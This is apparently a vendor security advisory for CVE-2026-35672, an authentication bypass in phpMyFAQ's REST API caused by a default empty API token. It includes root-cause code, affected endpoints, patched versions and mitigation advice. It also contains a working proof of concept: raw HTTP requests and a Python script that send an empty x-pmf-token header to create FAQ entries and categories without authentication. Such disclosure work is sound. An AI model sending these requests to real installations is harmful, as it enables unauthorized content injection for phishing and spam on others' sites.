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CVE-2026-35672 — thorsten/phpmyfaq

CVE-2026-35672 is a CWE-1188 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.

phpMyFAQ - Authentication Bypass via Empty API Token

Also known asGHSA-gp95-j463-vv28
Published
May 28, 2026
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35672.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk+0.17%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk
0.00%0.35%0.70%1.06%0.4%0.4%0.6%Jul 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
🐘thorsten/phpmyfaq🐘phpmyfaq/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

FileEndpointMethod
src/.../Controller/Api/FaqController.php:701-703/api/v4.0/faq/createPOST
src/.../Controller/Api/FaqController.php:857-859/api/v4.0/faq/updatePUT
src/.../Controller/Api/CategoryController.php:278-280/api/v4.0/categoryPOST
src/.../Controller/Api/QuestionController.php:89-91/api/v4.0/questionPOST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "[email protected]",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Testx-pmf-tokenHTTP StatusResult
No auth header(not sent)401 Unauthorized🔒 Correctly blocked
Empty token header""201 Created🔓 Bypass confirmed
Category creation""201 Created🔓 Bypass confirmed
Public verification(not needed)200 OK📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.1.3composer require thorsten/phpmyfaq:^4.1.3
🐘Packagistphpmyfaq/phpmyfaqall versions4.1.3composer require phpmyfaq/phpmyfaq:^4.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update thorsten/phpmyfaq to 4.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35672 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header." ### Details The root cause is in two files: **1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278):
O3 Security · Impact-Aware SCA

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CVE-2026-35672: Auth Bypass — Fixed in 4.1.3 | O3 Security